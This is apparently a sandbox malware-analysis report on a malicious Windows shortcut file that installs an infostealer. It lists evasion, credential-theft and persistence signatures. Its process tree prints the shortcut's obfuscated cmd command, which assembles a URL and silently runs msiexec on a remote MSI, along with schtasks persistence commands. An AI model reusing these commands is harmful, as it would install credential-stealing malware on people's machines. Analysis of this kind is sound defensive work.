8b9905ef665c872b473d6dbfc4cd100407d6d28d755e570a2e60d4f6b3b33e09

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
27/04/2026, 12:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
documento-Q51D0R.lnk
Size 3KB
Sample260427-pgldfsdw6m
SHA256 8b9905ef665c872b473d6dbfc4cd100407d6d28d755e570a2e60d4f6b3b33e09
MD5 f9c6969e9a7432867021f43a2a903477
SHA1 c3013000e070576343dbcc9e9b13267ef1be9278
SHA512 0fdb3c0f2d006b1a1c53496848899fb79755b35dd6e5ba9aecbd93c382ae3794fc317a5c706074ebc32e71f5628fafae53d6cf9584ede3dc5d460c518c9a2319
TLSH
T1705153443EE90211D2BA9FB6DD7EA74389B679615CBADE5C4890C14C7462B00E033F6B
MD5 SHA1 SHA512 TLSH

Score

9^/10

defense_evasion discovery execution persistence privilege_escalation spyware stealer trojan

Malware Config

Signatures

Enumerates VirtualBox registry keys 2 TTPs 4 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	Software de Sistema.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	Software de Sistema.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	Software de Sistema.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	Software de Sistema.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	programa.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	programa.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	programa.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions	Software de Sistema.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions	Software de Sistema.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
19	5560	Software de Sistema.exe

Looks for VMWare Tools registry key 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	Software de Sistema.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	Software de Sistema.exe

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	programa.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	programa.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	programa.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	programa.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	programa.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	programa.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Control Panel\International\Geo\Nation	Software de Sistema.exe

Executes dropped EXE 5 IoCs

pid	Process
3520	Software de Sistema.exe
5560	Software de Sistema.exe
5220	programa.exe
2976	programa.exe
3332	programa.exe

Identifies Wine through registry keys 2 TTPs 3 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Software\Wine	programa.exe
Key opened	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Software\Wine	programa.exe
Key opened	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Software\Wine	programa.exe

Loads dropped DLL 1 IoCs

pid	Process
3332	programa.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
4780	msiexec.exe

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	3588	msiexec.exe
11	3588	msiexec.exe

Checks whether UAC is enabled 1 TTPs 3 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	programa.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	programa.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	programa.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
28	api.ipify.org
29	api.ipify.org
30	ip-api.com
38	api.ipify.org

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
5220	programa.exe
2976	programa.exe
3332	programa.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3520 set thread context of 5560	3520	Software de Sistema.exe	95

Drops file in Program Files directory 12 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3164_2001994503\manifest.fingerprint	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping5196_1225053994\crl-set	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping5196_1225053994\manifest.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping5196_1225053994\manifest.fingerprint	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3164_1823252963\manifest.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3164_1823252963\manifest.fingerprint	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping5196_1492529553\manifest.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping5196_1492529553\protocols.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping5196_1492529553\manifest.fingerprint	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3164_2001994503\manifest.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3164_2001994503\protocols.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3164_1823252963\crl-set	msedgewebview2.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5919.tmp	msiexec.exe
File created	C:\Windows\Installer\e5858cc.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI54E1.tmp	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
4780	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	programa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Software de Sistema.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Software de Sistema.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	programa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	programa.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	programa.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	programa.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedgewebview2.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134217662495514574"	msedgewebview2.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedgewebview2.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5792	schtasks.exe
4024	schtasks.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
3588	msiexec.exe
3588	msiexec.exe
3520	Software de Sistema.exe
3520	Software de Sistema.exe
5560	Software de Sistema.exe
5560	Software de Sistema.exe
5220	programa.exe
5220	programa.exe
2976	programa.exe
2976	programa.exe
5220	programa.exe
5220	programa.exe
3332	programa.exe
3332	programa.exe
3332	programa.exe
3332	programa.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3332	programa.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
5196	msedgewebview2.exe
3164	msedgewebview2.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4780	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4780	msiexec.exe
Token: SeSecurityPrivilege	3588	msiexec.exe
Token: SeCreateTokenPrivilege	4780	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4780	msiexec.exe
Token: SeLockMemoryPrivilege	4780	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4780	msiexec.exe
Token: SeMachineAccountPrivilege	4780	msiexec.exe
Token: SeTcbPrivilege	4780	msiexec.exe
Token: SeSecurityPrivilege	4780	msiexec.exe
Token: SeTakeOwnershipPrivilege	4780	msiexec.exe
Token: SeLoadDriverPrivilege	4780	msiexec.exe
Token: SeSystemProfilePrivilege	4780	msiexec.exe
Token: SeSystemtimePrivilege	4780	msiexec.exe
Token: SeProfSingleProcessPrivilege	4780	msiexec.exe
Token: SeIncBasePriorityPrivilege	4780	msiexec.exe
Token: SeCreatePagefilePrivilege	4780	msiexec.exe
Token: SeCreatePermanentPrivilege	4780	msiexec.exe
Token: SeBackupPrivilege	4780	msiexec.exe
Token: SeRestorePrivilege	4780	msiexec.exe
Token: SeShutdownPrivilege	4780	msiexec.exe
Token: SeDebugPrivilege	4780	msiexec.exe
Token: SeAuditPrivilege	4780	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4780	msiexec.exe
Token: SeChangeNotifyPrivilege	4780	msiexec.exe
Token: SeRemoteShutdownPrivilege	4780	msiexec.exe
Token: SeUndockPrivilege	4780	msiexec.exe
Token: SeSyncAgentPrivilege	4780	msiexec.exe
Token: SeEnableDelegationPrivilege	4780	msiexec.exe
Token: SeManageVolumePrivilege	4780	msiexec.exe
Token: SeImpersonatePrivilege	4780	msiexec.exe
Token: SeCreateGlobalPrivilege	4780	msiexec.exe
Token: SeRestorePrivilege	3588	msiexec.exe
Token: SeTakeOwnershipPrivilege	3588	msiexec.exe
Token: SeRestorePrivilege	3588	msiexec.exe
Token: SeTakeOwnershipPrivilege	3588	msiexec.exe
Token: SeRestorePrivilege	3588	msiexec.exe
Token: SeTakeOwnershipPrivilege	3588	msiexec.exe
Token: SeRestorePrivilege	3588	msiexec.exe
Token: SeTakeOwnershipPrivilege	3588	msiexec.exe
Token: SeRestorePrivilege	3588	msiexec.exe
Token: SeTakeOwnershipPrivilege	3588	msiexec.exe
Token: SeRestorePrivilege	3588	msiexec.exe
Token: SeTakeOwnershipPrivilege	3588	msiexec.exe
Token: SeRestorePrivilege	3588	msiexec.exe
Token: SeTakeOwnershipPrivilege	3588	msiexec.exe
Token: SeRestorePrivilege	3588	msiexec.exe
Token: SeTakeOwnershipPrivilege	3588	msiexec.exe
Token: SeRestorePrivilege	3588	msiexec.exe
Token: SeTakeOwnershipPrivilege	3588	msiexec.exe
Token: SeRestorePrivilege	3588	msiexec.exe
Token: SeTakeOwnershipPrivilege	3588	msiexec.exe
Token: SeRestorePrivilege	3588	msiexec.exe
Token: SeTakeOwnershipPrivilege	3588	msiexec.exe
Token: SeRestorePrivilege	3588	msiexec.exe
Token: SeTakeOwnershipPrivilege	3588	msiexec.exe
Token: SeRestorePrivilege	3588	msiexec.exe
Token: SeTakeOwnershipPrivilege	3588	msiexec.exe
Token: SeRestorePrivilege	3588	msiexec.exe
Token: SeTakeOwnershipPrivilege	3588	msiexec.exe
Token: SeRestorePrivilege	3588	msiexec.exe
Token: SeTakeOwnershipPrivilege	3588	msiexec.exe
Token: SeRestorePrivilege	3588	msiexec.exe
Token: SeTakeOwnershipPrivilege	3588	msiexec.exe

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 5776 wrote to memory of 3480	5776	cmd.exe	85
PID 3480 wrote to memory of 4728	3480	cmd.exe	86
PID 4728 wrote to memory of 4780	4728	cmd.exe	87
PID 3588 wrote to memory of 3520	3588	msiexec.exe	90
PID 3520 wrote to memory of 5560	3520	Software de Sistema.exe	95
PID 3520 wrote to memory of 5560	3520	Software de Sistema.exe	95
PID 5560 wrote to memory of 5792	5560	Software de Sistema.exe	97
PID 5560 wrote to memory of 4024	5560	Software de Sistema.exe	102
PID 5560 wrote to memory of 5220	5560	Software de Sistema.exe	104
PID 5560 wrote to memory of 4420	5560	Software de Sistema.exe	105
PID 3332 wrote to memory of 5196	3332	programa.exe	112
PID 3332 wrote to memory of 3164	3332	programa.exe	113
PID 5196 wrote to memory of 5912	5196	msedgewebview2.exe	114
PID 3164 wrote to memory of 5820	3164	msedgewebview2.exe	115
PID 5196 wrote to memory of 4612	5196	msedgewebview2.exe	117
PID 5196 wrote to memory of 4612	5196	msedgewebview2.exe	117
PID 5196 wrote to memory of 4612	5196	msedgewebview2.exe	117
PID 3164 wrote to memory of 4620	3164	msedgewebview2.exe	118
PID 3164 wrote to memory of 4620	3164	msedgewebview2.exe	118
PID 3164 wrote to memory of 4620	3164	msedgewebview2.exe	118
PID 5196 wrote to memory of 4968	5196	msedgewebview2.exe	119
PID 3164 wrote to memory of 3752	3164	msedgewebview2.exe	120
PID 5196 wrote to memory of 4876	5196	msedgewebview2.exe	121
PID 5196 wrote to memory of 4876	5196	msedgewebview2.exe	121
PID 3164 wrote to memory of 4980	3164	msedgewebview2.exe	122
PID 3164 wrote to memory of 4980	3164	msedgewebview2.exe	122
PID 5196 wrote to memory of 1500	5196	msedgewebview2.exe	123
PID 5196 wrote to memory of 1500	5196	msedgewebview2.exe	123
PID 5196 wrote to memory of 1500	5196	msedgewebview2.exe	123
PID 3164 wrote to memory of 4324	3164	msedgewebview2.exe	124
PID 3164 wrote to memory of 4324	3164	msedgewebview2.exe	124
PID 3164 wrote to memory of 4324	3164	msedgewebview2.exe	124
PID 5196 wrote to memory of 3492	5196	msedgewebview2.exe	128
PID 5196 wrote to memory of 3492	5196	msedgewebview2.exe	128
PID 3164 wrote to memory of 716	3164	msedgewebview2.exe	129
PID 3164 wrote to memory of 716	3164	msedgewebview2.exe	129
PID 5196 wrote to memory of 2356	5196	msedgewebview2.exe	130
PID 5196 wrote to memory of 2356	5196	msedgewebview2.exe	130
PID 3164 wrote to memory of 3540	3164	msedgewebview2.exe	131
PID 3164 wrote to memory of 3540	3164	msedgewebview2.exe	131

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\documento-Q51D0R.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5776
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /C "set nh=s://&set ce=7RQ.m&set wy=ds/&set iz=msiexec&set mq=ota.sbs&set sh=60426&set ha=ta.sbs/p&set bz=si&set hb=ack_202&set ph=1-YVG&set kx=porta&set zm=portal-n&set xj=l-no&set pd=_12042&set ta=http&set ah=/uploa&cmd /D /C %iz% /q /i %ta%%nh%%zm%%mq%%ah%%wy%%kx%%xj%%ha%%hb%%sh%%pd%%ph%%ce%%bz%"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3480
- - C:\Windows\System32\cmd.exe
    cmd /D /C %iz% /q /i %ta%%nh%%zm%%mq%%ah%%wy%%kx%%xj%%ha%%hb%%sh%%pd%%ph%%ce%%bz%
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4728
  - - C:\Windows\System32\msiexec.exe
      msiexec /q /i https://portal-nota.sbs/uploads/portal-nota.sbs/pack_20260426_120421-YVG7RQ.msi
      4⤵
      Use of msiexec (install) with remote resource
      Event Triggered Execution: Installer Packages
      Suspicious use of AdjustPrivilegeToken
      PID:4780

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3588
- C:\Users\Admin\AppData\Roaming\Software de Sistema\Software de Sistema.exe
  "C:\Users\Admin\AppData\Roaming\Software de Sistema\Software de Sistema.exe"
  2⤵
  - Enumerates VirtualBox registry keys
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3520
- - C:\Users\Admin\AppData\Roaming\Software de Sistema\Software de Sistema.exe
    "C:\Users\Admin\AppData\Roaming\Software de Sistema\Software de Sistema.exe"
    3⤵
    - Enumerates VirtualBox registry keys
    - Looks for VirtualBox Guest Additions in registry
    - Downloads MZ/PE file
    - Looks for VMWare Tools registry key
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:5560
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /F /SC ONLOGON /RL HIGHEST /TN "HWiNFO32Setup" /TR "C:\Users\Admin\AppData\Roaming\Software de Sistema\Software de Sistema.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5792
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /F /SC ONLOGON /RL HIGHEST /TN "HWiNFO32Monitor" /TR "C:\Users\Admin\AppData\Roaming\HWiNFO32\programa.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4024
  - - C:\Users\Admin\AppData\Roaming\HWiNFO32\programa.exe
      "C:\Users\Admin\AppData\Roaming\HWiNFO32\programa.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Checks whether UAC is enabled
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:5220
    - - C:\Users\Admin\AppData\Roaming\HWiNFO32\programa.exe
        
        "C:\Users\Admin\AppData\Roaming\HWiNFO32\programa.exe" --uiaccess
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of WriteProcessMemory
        
        PID:3332
      - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=programa.exe --webview-exe-version=1.0.0.0 --user-data-dir="C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --mojo-named-platform-channel-pipe=3332.4144.7551430017444862189
        6⤵
        Drops file in Program Files directory
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of WriteProcessMemory
        
        PID:5196
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=132.0.2957.140 --initial-client-data=0x15c,0x160,0x164,0x14c,0x16c,0x7ffc3d0bb078,0x7ffc3d0bb084,0x7ffc3d0bb090
        7⤵
        
        PID:5912
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=gpu-process --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView" --webview-exe-name=programa.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1744,i,7427039357043509060,4061718787113083050,262144 --variations-seed-version --mojo-platform-channel-handle=1740 /prefetch:2
        7⤵
        
        PID:4612
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView" --webview-exe-name=programa.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=2052,i,7427039357043509060,4061718787113083050,262144 --variations-seed-version --mojo-platform-channel-handle=2068 /prefetch:3
        7⤵
        
        PID:4968
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView" --webview-exe-name=programa.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=2324,i,7427039357043509060,4061718787113083050,262144 --variations-seed-version --mojo-platform-channel-handle=2336 /prefetch:8
        7⤵
        
        PID:4876
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView" --webview-exe-name=programa.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --always-read-main-dll --field-trial-handle=3516,i,7427039357043509060,4061718787113083050,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:1
        7⤵
        
        PID:1500
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\misge.WebView2A\EBWebView" --webview-exe-name=programa.exe --webview-exe-version=1.0.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=3764,i,7427039357043509060,4061718787113083050,262144 --variations-seed-version --mojo-platform-channel-handle=3760 /prefetch:8
        7⤵
        
        PID:3492
        
        C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
        
